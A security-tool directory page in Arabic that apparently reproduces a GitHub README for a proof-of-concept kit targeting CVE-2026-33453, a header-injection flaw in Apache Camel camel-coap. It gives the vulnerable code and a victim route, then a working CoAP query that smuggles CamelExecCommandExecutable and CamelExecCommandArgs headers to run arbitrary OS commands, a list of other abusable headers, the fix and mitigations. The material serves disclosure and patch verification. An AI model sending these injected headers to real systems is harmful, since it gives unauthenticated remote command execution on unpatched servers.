Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33453 — أداة إعادة إنتاج لـ CVE-2026-33453: حقن رأس في Apache Camel camel-coap يؤدي إلى تنفيذ أوامر عن بُعد عبر camel-exec | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-33453
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHuboscerd/cve-2026-33453

CVE-2026-33453

أداة إعادة إنتاج لـ CVE-2026-33453: حقن رأس في Apache Camel camel-coap يؤدي إلى تنفيذ أوامر عن بُعد عبر camel-exec

عرض المستودع
3منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

camel-coap حقن الرأس → أداة إعادة إنتاج ثغرة RCE (CVE-2026-33453)

يوضح هذا المشروع ثغرة حقن رأس رسالة Camel في مكون camel-coap الخاص بـ Apache Camel، المسجلة باسم CVE-2026-33453. يمكن لمهاجم غير مصادَق بإرسال حزمة CoAP UDP واحدة أن يحقن رؤوس تحكم Camel* عشوائية في التبادل (Exchange)، محققًا تنفيذ تعليمات برمجية عن بُعد عند توجيه المسار إلى منتج حساس للرؤوس مثل camel-exec.

النشرة الأمنية: https://camel.apache.org/security/CVE-2026-33453.html

ملخص الثغرة

الخاصيةالقيمة
المكونcamel-coap
الفئة المتأثرةorg.apache.camel.coap.CamelCoapResource (handleRequest)
السبب الجذرينسخ معلمات استعلام URI الخاصة بـ CoAP إلى رؤوس Exchange بدون HeaderFilterStrategy
CWECWE-915: تعديل غير مضبوط بشكل صحيح لسمات الكائن المحددة ديناميكيًا
التأثيرتنفيذ تعليمات برمجية عن بُعد (عبر منتجين حساسين للرؤوس، مثل camel-exec)
سطح الهجومحزمة CoAP UDP واحدة غير مصادق عليها (المنفذ الافتراضي 5683)
الإصدارات المتأثرةمن 4.14.0 قبل 4.14.6، ومن 4.15.0 قبل 4.18.1
الإصدارات المُصحَّحة4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
المُبلِّغHyunwoo Kim (@v4bel)

التفاصيل الفنية

في الإصدارات المتأثرة، يقوم CamelCoapResource.handleRequest() بالتكرار على خيارات استعلام URI لطلب CoAP ونسخ كل منها إلى رؤوس Camel Exchange الواردة، بدون تطبيق أي HeaderFilterStrategy:

root@kitploit:~
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    String name  = (i == -1) ? s : s.substring(0, i);
    String value = (i == -1) ? "" : s.substring(i + 1);
    camelExchange.getIn().setHeader(name, value);   // NO HeaderFilterStrategy!
}

تمتد CoAPEndpoint من DefaultEndpoint (وليس DefaultHeaderFilterStrategyEndpoint) ولا تقوم CoAPComponent بتطبيق HeaderFilterStrategyComponent، لذلك لا يوجد أي عامل تصفية على الإطلاق. وبالتالي يمكن للمهاجم تعيين أي رأس — بما في ذلك رؤوس التحكم الداخلية Camel* الخاصة بـ Camel — ببساطة عن طريق إضافة معاملات استعلام إلى URI طلب CoAP.

عندما يقوم المسار بتسليم الرسالة إلى منتج حساس للرؤوس، تغير تلك الرؤوس سلوكه. بالنسبة لـ camel-exec، تقوم الرؤوس CamelExecCommandExecutable و CamelExecCommandArgs بتجاوز الملف التنفيذي والوسائط المكونة على نقطة النهاية (تُحترم افتراضيًا في الإصدارات المتأثرة)، مما يؤدي إلى تنفيذ أوامر نظام تشغيل عشوائية. يتم كتابة الإخراج القياسي للأمر مرة أخرى في نص Exchange وإعادته في استجابة CoAP، مما يوفر قناة RCE تفاعلية.

المسار الضحية

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);   // return stdout in the CoAP response

يقوم طلب عادي بتشغيل echo hello. المهاجم يتجاوز الأمر عبر الرؤوس المحقونة.

المتطلبات الأساسية

  • Java 17+
  • Maven 3.8+

CoAP يعتمد على UDP (RFC 7252) بدون مصادقة مدمجة (DTLS اختياري ومعطل افتراضيًا)، لذلك لا حاجة لأي خدمة خارجية أو حاوية Docker — تطبيق إعادة الإنتاج هو خادم CoAP الضعيف وعميل مهاجم مدمج (عميل بسيط مثل coap-client من libcoap يعمل أيضًا).

خطوات إعادة الإنتاج

الخطوة 1: البناء والتشغيل

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

يبدأ التطبيق المسار الضعيف على coap://0.0.0.0:5683/run ووحدة تحكم REST مساعدة على المنفذ 8080.

الخطوة 2: طلب عادي (فحص أولي)

root@kitploit:~
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello

الخطوة 3: الهجوم — حقن رؤوس تجاوز exec عبر استعلام URI CoAP

root@kitploit:~
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"

# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"

في الخلفية، يرسل عميل CoAP المدمج حزمة واحدة:

root@kitploit:~
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned

بدلاً من ذلك، باستخدام عميل CoAP عادي:

root@kitploit:~
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"

الخطوة 4: التحقق

root@kitploit:~
ls -la /tmp/pwned

إذا كان /tmp/pwned موجودًا، فإن الرأس المحقون تجاوز أمر exec → RCE.

نواقل الهجوم

الحقن يحتاج فقط إلى منتج حساس للرؤوس في المصب. تسرد النشرة الأمنية، من بين أمور أخرى:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → تنفيذ أوامر نظام التشغيل
  • camel-file — CamelFileName → كتابة ملف عشوائي / تجاوز المسار
  • camel-sql — رؤوس التحكم في الاستعلام
  • camel-bean — CamelBeanMethodName → استدعاء طريقة مختلفة
  • مكونات القوالب (freemarker/velocity) — رؤوس اختيار الموارد

شروط الاستغلال

  1. مسار Camel يستهلك من coap://....
  2. المسار يوجه إلى (أو يتأثر بـ) منتج حساس للرؤوس.
  3. لا يوجد removeHeaders("Camel*") بين مستهلك CoAP وهذا المنتج.

لا حاجة للمصادقة؛ حزمة UDP واحدة إلى المنفذ 5683 تكفي.

الإصلاح الموصى به

الإصلاح (CAMEL-23222) يجعل CoAPEndpoint يحمل HeaderFilterStrategy ويطبقه في handleRequest() قبل تعيين الرؤوس، بحيث يتم تصفية الأسماء المسبوقة بـ Camel* على حدود CoAP مثل أي نقل آخر:

root@kitploit:~
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
    camelExchange.getIn().setHeader(name, value);
}

التخفيف

  1. إزالة رؤوس Camel من الرسائل المصدرة من CoAP: .removeHeaders("Camel*") مباشرة بعد from("coap:...").
  2. تجنب المنتجين الحساسين للرؤوس في المصب من إدخال CoAP غير موثوق، أو تثبيت تكوينهم بحيث لا يمكن للرؤوس تجاوزه.
  3. تفعيل DTLS (coaps://) مع مصادقة العميل لتقييد من يمكنه الوصول إلى نقطة النهاية.
  4. تقسيم الشبكة: إبقاء منفذ CoAP على شبكة موثوقة.

الملفات

root@kitploit:~
CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── CoapExecRoute.java        # the vulnerable victim route (coap -> exec)
    │   └── ExploitController.java    # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
    └── resources/
        └── application.properties

إخلاء مسؤولية

تم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة تم الكشف عنها علنًا وإصلاحها. لا تستخدمها ضد أنظمة دون إذن صريح.

تنزيل الأداة